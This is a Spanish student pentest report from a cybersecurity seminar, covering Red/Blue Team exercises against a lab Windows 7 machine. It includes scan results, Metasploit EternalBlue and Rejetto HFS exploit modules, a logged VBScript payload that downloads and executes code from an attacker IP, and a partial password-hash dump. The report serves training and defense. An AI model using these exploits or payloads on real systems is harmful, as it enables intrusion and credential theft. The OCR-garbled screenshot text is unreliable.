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Resumen

El presente informe técnico presenta el analisis y desarrollo de las estrategias ofensivas
(Red Team) y defensivas (Blue Team) llevadas a cabo durante el seminario. A lo largo de las
etapas previas, se abordaron conceptos legales y técnicos fundamentales, se analiz6 un acuerdo
de confidencialidad con implicaciones éticas, se realizaron pruebas de penetracion utilizando
herramientas como Nmap, Nessus y Metasploit. También se ejecutaron acciones de contencion
ante un ataque activo. Como resultado, se identificaron vulnerabilidades con su CVE asociado,
se simularon ataques exitosos y se implementaron controles de endurecimiento. Este documento
destaca los hallazgos relevantes, analiza la postura de seguridad de CyberFort Technologies y
plantea recomendaciones para fortalecer su sistema. Ademads, se relacionan las acciones
ejecutadas con marcos normativos como la ISO 27001 y NIST. Se evidencia la necesidad de
politicas solidas de ciberseguridad, la capacitacion constante del personal y la importancia del
trabajo coordinado entre equipos estratégicos.

Palabras clave: Ciberseguridad, Equipos estratégicos, Herramientas, Proteccion de

sistemas, Vulnerabilidad.



Abstract

This technical report presents the analysis and development of the offensive (Red Team)
and defensive (Blue Team) strategies implemented during the seminar. Throughout the
preliminary stages, fundamental legal and technical concepts were addressed, a confidentiality
agreement with ethical implications was analyzed, and penetration tests were performed using
tools such as Nmap, Nessus, and Metasploit. Containment actions were also executed in the
event of an active attack. As a result, vulnerabilities with their associated CVEs were identified,
successful attacks were simulated, and hardening controls were implemented. This document
highlights relevant findings, analyzes CyberFort Technologies' security posture, and makes
recommendations for strengthening its system. Furthermore, the actions implemented are related
to regulatory frameworks such as ISO 27001 and NIST. The need for robust cybersecurity
policies, ongoing staff training, and the importance of coordinated work among strategic teams
are evident.

Keywords: Cybersecurity, Strategic Teams, Tools, System Protection, Vulnerability.



Tabla de Contenido

GLOSATTO ..ttt ettt ettt e b e et e b e e bt esbe e et e e bt e eabe e beeeabeebeeenbeesseeeabeenneeenbeenseeenbeans 10
INEEOAUCCION ...ttt ettt ettt et e e bt e et e e s bt e sabeesaeeenbeesbeesnteans 12
Definicion del problema ...........cc.eoiiiiiiiiieieeeee e et nnees 13
Antecedentes del ProbIema ..........cceieviiiiiiiiiiiecieece et 13
Formulacion del problema ...........cceiviiiiiiiiiieieeiieceeie ettt ebeesaee e saeenneens 13
JUSHTICACION ...ttt ettt et e et et e e bt e bt e enbeesbeeeabeenaeeenbeeeeas 14
ODJETIVOS ..ttt ettt ettt et ettt e et e et e e a bt e bt e e bt e st e e at e e bt e eabe e bteeabee bt e enb e e st e eabeeenteenbeeeneeenbeen 15
ODJEUIVO GENETAL .....eiiiiiiiiieiiecie ettt ettt e et e st e et e e sabeesbeessbesaseessseenseessseenseensseenns 15
ODbJEtIVOS ESPECTIICOS. c.uvieeiiiieiiieeiiieeiiee et ettt ette e et e st e et e e sbeeessbee e sbeeesaseeeaseesnseesnseeennns 15
Desarrollo del INfOIME ........cocuiiiiiiii e et 16
Etapas del SEMINATIIO. ......couiiiiiiiriiiieeieie ettt sttt et sbe e 16
Etapa 1 CONCEPLOS . ..eeuiiiiiiiiieieeete ettt ettt ettt et 16
Etapa 2 BHCA Y 18ZAl.....ouveveeeceeeeeee e 16

R Y T 2T I T 1 5 DR 17
Etapa 4 BIUE T@AIM ....ccuveieiiiiiciie ettt et e et e e eve e e e e e s e enaeeennneas 17
Simulacion del Red TeaM .....ccc.eoiuiiiiiiiiiie e 18
Metodologia OFENSIVA .....cccuiiiiieiiicieeciie ettt ettt e e e ebeesneeenseens 18

HallaZZ0S CLAVE.....c..eiiiiiiiieciee et 19



530 o110 TS UTURRRRSPPRP 30
Comandos ULTHZAAOS. .....ceueeiiiiiieiie ettt ettt e 31
Simulacion del BIUe T@am .........cocuiiiiiiiiiiiiiriieieeeeee et 33
ReSpUESta INMEAIALA .......eeieiieiieiiicieecie ettt ettt e esb e e eeeebeesaeeenbeessneenseens 33
Medidas de hardening...........ccieviiiiiiiiiiiieieee ettt e e e e taeennae 43
EAECtIVIAAA. ...ttt ettt et ettt et 48
Lecciones aprendidas.........c..iecveieciieeciie ettt e e e e e e e e e e e enareeenareeenreas 48
Margen legal Colombia.........cocueviiiiiiiiiiiiiiie et 49
Aspectos de 10S €qUIPOS ESITAtEZICOS ....ecvviruieriieeiieiiieeitiesieeieesteeteesteeebeessaeeseesareesseessseenseens 52
REgLAS ¥ ENTOQUES ...ovviieiiieiie ettt ettt e ettt e ebeestaeennaens 52
Documentacion detallada ............oocuioiiiiiiiiiii e e 52
ADPIendizZaje CONMINMUO......ccuiiiiiriiriieiieiteete ettt ettt ettt b et st se ettt e e 52
CONCIUSIONES ...ttt ettt ettt et s et et eb e be e et sbe e bt e st e ebe e beeatesaee bt et e eaeenaes 53
RECOMENAACTIONES ...ttt ettt et e sbe e st e st e e b e naees 54
Referencias BiblIOGIAfICAS ........ueiiiuiiiiiiieiiiece ettt e e e eeneaeeea 55
AATIEXOS ..ttt ettt ettt e at et e bttt e bt e e bt e e ettt e e ab e e e eabe e e bt e sbeeesenaeeea 59
ATIEXO A ettt ettt b et h et b ettt esh e e beenbeenareens 59



Lista de Tablas
Tabla 1 Vulnerabilidad en los servicios detectados por NMap................cceeeeeeeceeeeceeeeiiaeereens 21
Tabla 2 Vulnerabilidades relevantes encontradas por NESSUS .............cccueeeeeeeeceeeeieeesiieeeieeens 23
Tabla 3 Modulos relacionados con la vulnerabilidad CVE-2017-0143 ........ccccovveevoiiiveanoennannn. 25
Tabla 4 Resumen de comandos utilizados en Red Team.................cccccoevueeviiioiiiiiniiaiienieeienn. 31
Tabla 5 Medidas de seguridad bajo marcos y NOFAMULIVA .............ccccccueeeeeceesiiaiieeiieiiesieeaeens 45
Tabla 6 Lecciones Aprendidas................cccuiecueieiiieeiiiieiiie et e e e e eaaeeeaaeeen 48

Tabla 7 Andlisis de inconsistencias acuerdo CyberFort Technologies ...............c.cccccueeeuenuncnn.. 51



Lista de Figuras
Figura 1 Escaneo de Nmap realizado a la maquina Win7-SE2020-X64 ...........cceeeeeeeeeveeecunanns 20
Figura 2 Escaneo de vulnerabilidades conocidas en la maquina con Win7-SE2020-X64 .......... 21
Figura 3 Escaneo de vulnerabilidades cOn NESSUS ..........c...cccueeeeueeeiueeeiieeeiieeeiieesreeesveeesvee e 22
Figura 4 Herramienta Metasploit con CVE-2017-0143 .......ccccocevviivimvinieeiinineeneeieneesieneene 24
Figura 5 Herramienta Metasploit con CVE-2024-23692 ........cccccocvvimoiimieeiienineeneeieneenieneen. 25
Figura 6 Instalacion de exploit referente 34926 ...........ccooooeveeiieeiieiiieiieeieeeeee e 26
Figura 7 Verificacion del exploif ................ccocooviieiiiiiiiiiiieeeeee et 26
Figura 8 Entrelazar conexion con la IP de la maquina objetivo ................cccccceeveeeivinceneneeennnn. 27
Figura 9 Ejecuccion de exploit Rejetto HES............ccccooueviiiiniiiiiiiieiiieeieneeseeeeeeeeee e 27
Figura 10 Verificacion de conexion exploit mediante HF'S en Windows?7 ............cccccccccveevennene. 27
Figura 11 Configuracion para obtener infOrmacion ..............c...ccceeceeeeenveesenoeeneeseneeneenennen. 28
Figura 12 Creacion de usuario privilegiado en la maquina objetivo Win7 .............cccceevenunene. 29
Figura 13 Ejecucion de exploit Eternalblue .....................ccccoccovuiviiiiniiniieiiniineeieeeneeneeeene 29
Figura 14 Sesion en meterpreter por shell para desactivar firewall y update en Win7 ............. 30
Figura 15 Arquitectura de QLAGUE ..................cccooecueeeieeiieieeieeee ettt 31
Figura 16 Desconexion del sistema comprometido Win7-SE2020-X64 de la red ....................... 33
Figura 17 Deshabilitar servicio remoto en Win7-SE2020-X04 .........ccccoccvueecereeeesieeiieneraieenenn 34
Figura 18 Directivas de seguridad local bloqueo de cuenta ..................ccoeceeeveevcveicnenceraneeannnn. 35
Figura 19 Consulta de logs del sistema Win7-SE2020-X064 ..........cccooveeiiienieeiienieeiieeeeeieeees 36

Figura 20 Captura de trafico con WireSHark...............ccccooceeveriiioeiiinienieieneseece e, 37



Figura 21 Volcado de memoria RAM ...............cccuooecueeeecuieeeiee e eeeeesvaeesveeesaeeenasee e 38
Figura 22 VerificAcion de SOftWATe...............cccuueecueeeciiieeiieesieeeereeesiieeeeee e s e e sreeesveeesnseessnseeens 39
Figura 23 ProceS0S €N €JECUCCION ..........ccueeeeureecieeeieeeeiieeesieeesseeessaeesssseesssseesseeesseeesssessssseeens 39
Figura 24 Programas ) CArACIETISTICAS .........cccuueeeeeeuueeeeaeiieeeeeiieeeeesseeeeesnseeesensseeesssnsseesssssseeens 40
Figura 25 Puertos y servicios del sistema Win7-SE2020-X03.........cccueeevueeeeiueeecieeeiieeeieeeeieeens 40
Figura 26 Dispositivos coenctados @ la 1ed...............c.ooccuieecuveeccuieeiieeecieeecie e sveeesvee e 41
Figura 27 Configuracion activacion del firewall Win7-SE2020-X64..........cccccccooeevverecnveenennncnn. 46
Figura 28 Activacion de actualizaciones de WindOws .................ccccocevvuerieeninciniecsieecineenennen. 47
Figura 29 Instalacion de Antivirus GVAST..............cccoccueeeiiiieeiiieeieeeesee ettt 47

Figura 30 Ataque fallido de exploit CON ReJEttO .............oooueeiueiiiiaiiaiiieieee et 48



10

Glosario

Ataque informatico: Entrada no autorizada a sistemas usando fallas para robar
informacion y causar dafios.

Blue Team: Equipo encargado de defender sistemas informaticos, monitorear amenazas y
asegurar que las medidas de proteccion funciones.

Ciber atacante: Persona que usa sus conocimientos técnicos para cometer delitos
digitales.

Ciberseguridad: Medida para proteger sistemas y redes contra ataques digitales.

COPNIA: Entidad colombiana que regula el ejercicio profesional de ingenieria.

CVE: Lista publica de vulnerabilidades conocidas en sistemas y software.

EternalBlue: Exploit que aprovecha vulnerabilidad del protocolo SMB de Windows,
permitiendo la ejecucion remota de codigo.

ExploitDB: Base de datos que recopila informacion sobre fallos de seguridad, util para
investigar vulnerabilidades sin conexion a internet.

Firewall: Sistema que bloquea accesos no autorizados a redes.

Hardening: Proceso de reforzar la seguridad de un sistema eliminando configuraciones
innecesarias, cerrando puertos no usados y actualizando software.

Metasploit: Herramienta para pruebas de penetracion que ayuda a encontrar y explotar
vulnerabilidades en sistemas. Compatible con Windows, Linux y macOS.

Nessus: Herramienta de escaneo que identifica debilidades en redes y genera informes
detallados.

Nmap: Programa para explorar redes y detectar dispositivos conectados, puertos abiertos

y posibles fallos de seguridad.
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Parche de seguridad: Actualizacidén que corrige errores y cierra brechas de seguridad.

Pentesting: Método para evaluar la seguridad de un sistema intentando explotar sus
vulnerabilidades, como lo haria un atacante.

Red Team: Grupo que simula ciberataques para evaluar y mejorar la seguridad de una
organizacion.

Rejetto HFS: Software gratuito que comparte archivos a través de HTTP.

SMB: Protocolo de red usado para compartir recursos entre dispositivos Windows.

Vulnerabilidad: Debilidad en un sistema que puede ser aprovechada por un atacante para

comprometer su seguridad.
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Introduccion

Las amenazas cibernéticas representan riesgos constantes para la triada CIA de los
activos de informacion. Las organizaciones dependen cada vez mas de la tecnologia para agilizar
sus operaciones. Sin embargo, esto las expone a mayores riesgos de ciberataques. Para proteger
sus sistemas y datos, las organizaciones necesitan estrategias de seguridad efectivas, donde los
equipos Blue Team y Red Team juegan un papel importante: el Blue Team se encarga de
defender los sistemas, identificar vulnerabilidades y garantizar que las medidas de seguridad
funcionen correctamente, mientras que el Red Team simula ataques controlados para evaluar las
defensas y descubrir fallos antes de que sean explotados por ciber atacantes.

Este documento recopila las etapas desarrolladas durante el seminario especializado en
equipos estratégicos de ciberseguridad, solicitados por CyberFort Technologies, integrando
pruebas de intrusion para evaluar los riesgos, estrategias de contencidn para fortalecer la

seguridad y se mencionan aspectos éticos y legales.
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Definicion del problema
Antecedentes del problema

El contexto nacional evidencia un incremento sostenido de delitos informaticos. Moreno
Garzon (2025) reporta que en Colombia se registré un aumento del 48,68% en los casos de
acceso abusivo a sistemas informaticos entre 2023 y 2024, asi como una alta violacion de datos
personales. De forma complementaria, la Policia Nacional de Colombia (2023) también reporta
un incremento en delitos informaticos, lo cual refleja una preocupacion de ciberseguridad a nivel
nacional.

La organizacion CyberFort Technologies enfrenta serias deficiencias en su infraestructura
de seguridad, lo que lo expone a diversas amenazas cibernéticas. La organizacion, operando con
sistemas obsoletos como Windows 7, carece de medidas de proteccion modernas, como
autenticacion MFA, actualizacion de software, herramientas de monitoreo avanzadas, protocolos
inseguros, entre otras., lo que facilita la explotacion de vulnerabilidades.

Se realizaron pruebas de intrusion y andlisis defensivo, en las cuales participaron los
equipos Blue Team y Red Team. Las simulaciones revelaron fallos de seguridad, destacando la
utilizacion de exploits como EternalBlue y Rejetto HFS. Los fallos permitieron la ejecucion
remota de comandos y la escalada de privilegios, demostrando que la infraestructura de la
organizacion es vulnerable. Se identifico una aplicacion vulnerable en el sistema operativo
Windows 7, que, al ser explotada mediante un Shell, permitié acceso al sistema, escalando
privilegios y permitiendo realizar actividades maliciosas, como la fuga de informacion.
Formulacion del problema

(Por qué es importante realizar actividades de equipos estratégicos en un entorno

organizacional?
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Justificacion

La falta de mecanismos técnicos, normativos y estratégicos para prevenir, detectar y
contener ataques informaticos representa un riesgo critico para las organizaciones. En el entorno
de CyberFort Technologies, los ejercicios evidenciaron que un atacante con conocimientos
basicos puede comprometer un sistema vulnerable, escalar privilegios, exfiltrar informacion y
mantener el acceso. Esta situacion refleja una realidad nacional preocupante. Blanquicet (2024)
reporta que, entre enero y noviembre del 2024 se registraron 69.349 denuncias por delitos
informaticos en Colombia, representando un aumento del 20% respecto al mismo periodo del
afio anterior. Estos datos reflejan la necesidad urgente de fortalecer las capacidades de defensa y
evaluacion en las organizaciones. Ante este escenario, resulta imprescindible proponer
estrategias de mejora que involucren una vision ofensiva (Red Team) y defensiva (Blue Team),
respaldadas por normativas y buenas practicas. Esta combinacion permite reaccionar a tiempo,
reducir riesgos y formar una cultura de seguridad robusta.

El presente informe tiene como proposito consolidar las diferentes etapas previas del
seminario, integrando conocimientos técnicos, normativos, éticos y estratégicos. A traveés de las
actividades desarrolladas por los equipos, se identifican debilidades y se proponen

recomendaciones para mejorar la seguridad de la organizacion.
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Objetivos
Objetivo General

Elaborar un informe técnico detallado que compile los aspectos mas relevantes de las
diversas etapas del seminario, alineados con los requerimientos especificos de CyberFort
Technologies, con el propdsito de evaluar su entorno tecnologico y formular recomendaciones
estrategias y técnicas para fortalecer su infraestructura de seguridad.

Objetivos especificos

Realizar un resumen analitico de las cuatro etapas desarrolladas durante el seminario,
integrando fundamentos técnicos, normativos y éticos, con el fin de contextualizar y fundamentar
el informe.

Simular y documentar el trabajo de los equipos estratégicos Blue Team y Red Team,
destacando como prueban y defienden los sistemas de CyberFort Technologies de forma ética 'y
responsable.

Proponer mejoras de seguridad fundamentadas en los hallazgos obtenidos, para fortalecer
la proteccion de la infraestructura tecnoldgica de la organizacion.

Analizar el marco legal colombiano vigente en materia de delitos informaticos, ética
profesional y proteccion de datos personales, con el fin de fundamentar el cumplimiento

normativo en el contexto del informe.
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Desarrollo del informe

Etapas del seminario
Etapa 1 Conceptos

Se definieron las bases técnicas y legales para los equipos Blue Team y Red Team. Se
describieron herramientas clave como Nmap, que se usa para escanear redes, Nessus para
detectar vulnerabilidades y Mestasploit, para explotar esas vulnerabilidades. También se
mencionaron servicios online como ExploitDB, que es una base de datos de exploits y CVE, que
permite identificar vulnerabilidades conocidas. Desde el punto de vista legal, se destaco la
importancia de algunas leyes colombianas, como la ley 1273 de 2009 sobre delitos informaticos,
laley 1581 de 2012 de proteccion de datos, la ley 1712 de 2014 sobre la regulacion de la
transparencia y el acceso a la informacion publica, y la ley 842 de 2003 relacionado a COPNIA.
Ademas, se explico el ciclo de las pruebas de penetracion, desde la fase de reconocimiento hasta
la documentacion de los hallazgos. Finalmente, se prepar6 el banco de trabajo para el desarrollo
del seminario.
Etapa 2 Etica y legal

El objetivo fue identificar problemas éticos en el contrato de CyberFort Technologies. Se
encontraron clausulas que prohiben reportar actividades ilicitas, violando claramente la ley 1273
de 2009 y principios éticos profesionales. El andlisis demostrd que ninglin acuerdo laboral puede
estar por encima de la obligacion de denunciar delitos informéticos. Esta etapa reforzo la
importancia de que los profesionales en ciberseguridad mantengan sus principios éticos y

cumplan con normativas vigentes, rechazando cualquier cldusula que limite esta responsabilidad.
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Etapa 3 Red Team

El equipo ofensivo realizo pruebas reales sobre un sistema con Windows 7 obsoleto.
Utilizado la metodologia de NIST SP 800-115 empleando herramientas como Nmap y Nessus,
identificaron vulnerabilidades criticas, como EternalBlue (CVE-2017-0143) en SMBv1 y fallos
en Rejetto HFS (CVE-2024-23692). Luego, emplearon Metasploit para explotar estas
vulnerabilidades, demostrando como un atacante podria obtener el control total del sistema, crear
usuarios administrativos y robar informacion sensible. Los resultados destacaron el alto riesgo de
mantener sistemas desactualizados y servicios vulnerables expuestos.
Etapa 4 Blue Team

Frente a los ataques simulados, el equipo defensivo implemento medidas inmediatas para
controlar la situacion. Se desconecto el sistema comprometido, se deshabilitaron servicios
vulnerables como SMBvV1 y se activo el firewall. ademas, se tomaron acciones como el analisis
de trafico con Wireshark, el volcado de memoria y disco duro del sistema afectado usando
Autopsy, entre otras. Se implemento un procedimiento utilizando la metodologia NIST SP 800-
61, como parte de la evaluacion del incidente. Se resalto la importancia del hardening mediante
actualizaciones automaticas, la implementacion de un SIEM para monitoreo continuo y la
alineacion con estandares como ISO 27001.2022 y NIST SP 800-53. Esta etapa demostré como
una postura defensiva proactiva puede mitigar los riesgos identificados por el Red Team,
destacando la necesidad de politicas de seguridad robustas y capacitacion continua. Ademas, se
establece una relacion entre el Blue Team, el CSIRT y la aplicacion del CIS en operaciones del

equipo defensivo.
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Simulacion del Red Team
Metodologia ofensiva

Alcarria lozano (2023), indica que las pruebas de penetracion requieren un enfoque
estructurado desde su recoleccion de informacion hasta la explotacion de vulnerabilidades. Para
llevar a cabo una prueba de intrusion, es importante basarse en una metodologia estructurada. En
este ejercicio se aplico la metodologia NIST SP 800-115, la cual proporciona un enfoque
sistemadtico para la planificacion, ejecucion y documentacion de pruebas de penetracion. Las
actividades realizadas se organizaron en fases de recoleccion, andlisis, explotacion y reporte,
permitiendo identificar vulnerabilidades, evaluar el impacto en la triada CIA y analizar la
probabilidad de explotacion utilizando herramientas especificas (NIST, 2021).

Recoleccion de informacion: La primera informacion obtenida indica que se esta
produciendo una fuga de informacion desde una computadora con sistema operativo Windows,
la cual tiene instalada una aplicacion vulnerable. Esta vulnerabilidad podria estar asociada a un
exploit que permite el acceso al sistema mediante Shell. Ademads, se ha identificado la posible
creacion de usuarios con privilegios de administrador, lo que sugiere una escalacion de
privilegios como parte del ataque. Con base en la anterior informacion, se inicia el proceso de
recoleccion de datos dentro del sistema afectado.

Analisis de vulnerabilidades: Una vez recolectada la informacion del entorno y habiendo
identificado los servicios y puertos abiertos susceptibles a ser explotados, se procede a realizar
un escaneo avanzado sobre la maquina objetivo. Utilizando herramientas como Nmap y Nessus,
lo cual permite obtener detalles especificos del sistema operativo, versiones de servicios, scripts
de deteccion y trazado de ruta hacia el objetivo. Se consulto la base de datos Exploit DB

(Offensive Security, s.f.) con el fin de identificar exploits disponibles para ser explotados.
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Explotacion de vulnerabilidades: Se utiliza la herramienta Metasploit Framework para
conocer debilidades de seguridad en un sistema, en este paso se valoran las estrategias planteadas
de penetracion a través del andlisis y proactividad de vulnerabilidades. Metasploit es reconocido
por su versatilidad al momento de realizar pruebas de intrusion de forma controlada y efectiva
(Campus Ciberseguridad, 2023).

Informes y reportes: Se enfoca a la documentacion del proceso realizado por el Red Team
durante el proceso de pentesting a la maquina Win7-SE2020-X64. Se detallan las evidencias
recolectadas, como los comandos utilizados, los resultados obtenidos, las capturas de pantalla
relevantes y el andlisis técnico correspondiente. De esta manera, se presenta un ejercicio exitoso
de intrusion enfocado en la problematica planteada, demostrando como una vulnerabilidad
especifica puede ser explotada para escalar privilegios, cumpliendo con la prueba de concepto
solicitada por la organizacion. Este informe facilita la toma de decisiones y el fortalecimiento de
la seguridad en la infraestructura evaluada. En este contexto, los equipos estratégicos Blue Team
y Red Team se relacionan colaborativamente para dar cumplimiento de los objetivos de
seguridad establecidos.

Hallazgos clave

Se utilizo la herramienta Nmap, una solucion esencial para el escaneo de redes (Lyon,
2023), con el objetivo de identificar puertos abiertos, servicios activos y obtener una vision
general de la superficie de ataque. A partir de esta informacion. Fue posible identificar vectores
de ataque potenciales, como la vulnerabilidad Eternalblue. Ademas, se empled Nessus para
llevar a cabo un escaneo mas profundo de vulnerabilidades conocidas, lo que permiti6 detectar

Rejetto HFS V2.3 vulnerable. Nmap solo revelo el puerto 445 del servicio vulnerable SMB,
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mientras que Metasploit y Nessus confirmaron que la aplicacion Rejetto HFS utilizaba el puerto
80 (HTTP) y 445 (SMB), facilitando asi la explotacion remota mediante un Shell.

Figura 1

Escaneo de Nmap realizado a la maquina Win7-SE2020-X64

kali@kali: ~
File Actions Edit View Help

—S$ sudo 192.168.80.34

[sudo] password for kali:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-25 01:43 EDT
Nmap scan report for 192.168.80.34

Host is up (0.0018s latency).

Not shown: 987 closed tcp ports (reset)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds
(workgroup: WORKGROUP)

554/tcp open rtsp?

2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Service Unavailable

10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-title: Not Found

| _http-server-header: Microsoft-HTTPAPI/2.0

= P o]~

File Actions Edit Wiew Help

cpe:/o:microsoft:windows

1 (Windows 7 Professional
ional

<unknown> NetBIOS
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Fuente: Elaboracion propia.
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Se identifico una vulnerabilidad a partir de los puertos y servicios abiertos, lo cual se
describe en la tabla 1. Esta vulnerabilidad esta relacionada a EternalBlue (MITRE, 2017).

Tabla 1

Vulnerabilidad en los servicios detectados por Nmap

Servicio / puerto Posible vulnerabilidad Informacion

SMB (139,445,49152) MS17-010 (EternalBlue) Es posible si se usa SMBv1: Acceso
a Shell remoto

Nota: La tabla presenta la vulnerabilidad identificada a partir de puertos y servicios abiertos. Esta
vulnerabilidad esta relacionada al protocolo SMB, lo que puede permitir explotacion remota, ejecucion de
codigo malicioso y escalamiento de privilegios. Fuente: Elaboracion propia.

Figura 2

Escaneo de vulnerabilidades conocidas en la maquina con Win7-SE2020-X64

‘ File Actions Edit View
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: NT_STATUS_ ACCESS_ DENIED
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cution wvulmerability ex ts im Microsoft SMBv1

Fuente: Elaboracion Propia.
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Se identifico la vulnerabilidad CVE-2017-0143, que afecta al servicio SMBv1 en varios
sistemas Microsoft, incluyendo Windows 7. Esta falla permite a un atacante ejecutar codigo
arbitrario mediante paquetes manipulados, facilitando ataques de ejecucion remota de codigo a
través del protocolo SMB (MITRE, 2017).

Figura 3

Escaneo de vulnerabilidades con Nessus

antiago R [Carrienda) - Oracle VM VirtualBax - a 3
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Fuente: Elaboracion Propia.
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Nessus, herramienta utilizada para deteccion de vulnerabilidades (Tenable, Inc., 2024)

detecto varias vulnerabilidades en la maquina objetivo, destacando las mas relevantes, las cuales

se detallan en la tabla 2.

Tabla 2

Vulnerabilidades relevantes encontradas por Nessus

Impacto Vulnerabilidad Informacion Observaciones

Critico Rejetto HTTP File Servidor web Ejecucion remota de
server 2.3m RCE comandos (RCE)
(CVE-2024-23692)

Critico Unsupported Windows ~ Windows Sistema operativo sin
OS (Remote) soporte

Critico MS11-030 vulnerable Windows /DNS Ejecucion remota de
en DNS codigo (RCE)

Alto MS17-010 SMB server Windows /SMB Multipls exploits
(EternalBlue, etc) conocidos (WanaCry,

eternalBlue, etc)

Medio MS16-047: SAM y Windows Riesgo medio de acceso
LSAD remote protocol SAM /LSAD remoto no autorizado
(badlock)

Medio SMB Signing not Windows Firma SMB
requerid SMB deshabilitada, riesgo de

MITM

Medio Microsoft Windows Windows Problemas de seguridad
(multiple Issues) generales en Windows

Bajo Apache struts 2.3 /s2-1  Servidor web Cross-Site Scripting
tarql Tag Element XSS

Bajo ICMP timestamp General Posible obtencion de la
request remote data hora del sistema
disclosure

Nota: La tabla presenta los resultados mas relevantes a partir del escaneo de vulnerabilidades realizada

por Nessus sobre la maquina objetivo. Logrando identificar vulnerabilidades clasificadas segtin el

impacto destacando a Rejetto HTTP file server (HFS), sistema sin soporte con impacto critico. Fuente:

Elaboracion propia.
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Se identifico la vulnerabilidad CVE-2024-23692, la cual afecta al servidor de archivos
HTTP Rejetto (HFS) en su version 2.3. Esta vulnerabilidad se relaciona con una inyeccion de
plantillas, lo que permite la ejecucion de comandos de forma no autorizada en el sistema

afectado (MITRE, 2024).

Figura 4

Herramienta Metasploit con CVE-2017-0143

E kali-linux-2024.4_Santiago R [Corriendo] - Oracle VM VirtualBox
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1TRomam er t 1B Remote Windo Execution
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ampion SME Remote Windo

normal M517-81@ SMB RC

DOUBLEPULSAR
ETERMALEBLUE - - - -
ndows/smb/smb_doublepulsar_rce 2017-04-14 t Ye SME DOUBLEPULSA

Fuente: Elaboracion propia.

Se identifican y se detallan los mddulos relacionados con la vulnerabilidad MS17-010,
vinculada con CVE-2017-0143 conocida como EternalBlue, Windows 7 es vulnerable
(Microsoft, 2017). Esta vulnerabilidad permite la ejecucion remota de Codigo mediante el

protocolo SMBv1. Se detalla en la tabla 3.



Tabla 3

Modulos relacionados con la vulnerabilidad CVE-2017-0143

Modulo Tipo Fecha Descripcion
Exploit/Windows/smb/ms17_010_eternalblue  Exploit 2017-03-  Ejecucién remota:
14 corrupcion de
memoria en el
kernel SMB
Exploit/Windows/smb/ms17 010 psexec exploit 2017-03-  Ejecucion remota
14 de Cdédigo usando
SMB y psExec
Auxiliary/admin/smb/ms17_010_command auxiliar 207-03-  Ejecuta
14 commandos en
sistemas
vulnerables a
MS17-010
Auxiliary/scanner/smb/smb_ms17 010 scanner 207-03-  Escanea equipos
14 para detector
vulnerabilidad
MS17-010
Exploit/Windows/smb/smb_doublepulsar rce  exploit 207-03-  Ejecucion remota
14 utilizando
DOUBLEPULSAR

Nota: La tabla detalla los médulos asociados a la vulnerabilidad MS17-010, los cuales pueden ser
explotados utilizando la herramienta Metasploit. Fuente: Elaboracion propia.

Figura §

Herramienta Metasploit con CVE-2024-23692

etasploit v6.4.34—-dev
[ 2461 exploits — 1267 auxiliary — 431 post

1471 payloads - 49 encoders — 11 nops
+ — —=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
msf6 > search CVE-2024-23692
Matching Modules

# Name Disclosure Date Rank
Check Description

(5] exploit/windows/http/rejetto_hfs_rce_cve_ 2024 23692 2024-05-25
Yes Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution

Interact with a module by name or index. For example inf« )% or

msfe > i

Fuente: Elaboracion propia.
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Se identifico un exploit relacionado con Rejetto HTTP file Server (HFS) que permite la
ejecucion remota de comandos en la maquina objetivo sin necesidad de autenticacion.

Figura 6
Instalacion de exploit referente 34926

kali-linux-2024.4_Santiago R [Corriendo] - Oracle VM VirtualBox

kalif@kali: ~

File Actions Edit View Help

loit Title
tto HTTP File Se r - Remote Command Ex windows,/r

Shellcodes: No Results

Fuente: Elaboracion propia.

Se verifica que el exploit haya sido cargado y configurado correctamente.

Figura 7

verificacion del exploit

exploi ndows/http/rejetto _hfs_rce_cve

Rejetto HTTP File Serwver (HFS) enticate ¢ e Execution
exploit/windows/http/rejette_hfs_ L -11
Rejetto HttpFil ver Remote

with a module by name or index.
o

Fuente: Elaboracion propia.
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Figura 8

Entrelazar conexion con la IP de la maquina objetivo

Fuente: Elaboracion propia.

Se ejecuta el exploit para comenzar la intrusion en el sistema.
Figura 9
Ejecucion de exploit Rejetto HFS

msf6 exploit(

handler on
g.80

\FWuhRII.vbs

ssion 1 opened (192.
-0400
stopped.

Fuente: Elaboracion propia.
Figura 10

Verificacion de conexion exploit mediante HE'S en Windows 7

#2 HFS ~ HTTP File Server 2.3 Build 288 e =
E Menu | f:,} Port: 80 | @ You are in Easy mode
m Open in browser  http://192.168.80.34/ ] Copy to clipboard
Virtual File Systermn Log
. /! 05:22:06 a.m. 192.168.80.34:49174 Requested GET /
L[] Ejemple block.bet 05:27:01 a.m. 192.168.80.34:49204 Requested GET /

06:04:28 a.m. 192.168.80.39:43049 Requested GET /?search=> On+Error+Re
> x. Open+"GET","http://192.168.80.39:8080/\WOZ5BED" , False

= If+Err.Mumber+=>=+0+Then

= wsh_exit

= End+If

= x.Send

= Execute+x responseText.}

06:04:28 a.m. 192 168.80.39:40643 Requested GET /?search=

4 I 3

w8 TP address 1 File Status Speed Time... Pro..

Out: 0.0 KB/s In: 0.0 KBE/s

Fuente: Elaboracion propia.
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Se evidencio que la intrusion en la maquina objetivo fue exitosa, permitiendo la ejecucion
remota de comandos y la recepcion de informacion del sistema comprometido. A través del
comando getsystem, se intento la escalada de privilegios para obtener permisos de nivel de
SYSTEM. Adicionalmente, mediante el comando getuid, se identifico el ID del usuario actual en
el cual se ejecutaban las acciones, con el uso del modulo post/Windows/gather/hashdump, se
extrajeron los hashes de las contrasefias almacenadas en el sistema Windows.

Figura 11
Configuracion para obtener informacion

[=a] . . P PR - - - - — . y o
kali-linux-2024.4_Santiago R [Corriendo] - Oracle WM VirtualBox

kali@ kali: ~

File Actions Edit View Help

y/Admin) ).

Obtaining the boot ke .
ulating the hboot y Y c4d@ciadaf elcGake df6f78d ...

Decrypting user
Dumping password hints ...

No users with password hints on this system

Dumping password hashes ...

Administrador:5e 3b435b5148@ 3b435b51404 decfe@d16ae931b73c59d7e@c@89c@ :

Invitado:5

Fuente: Elaboracion propia

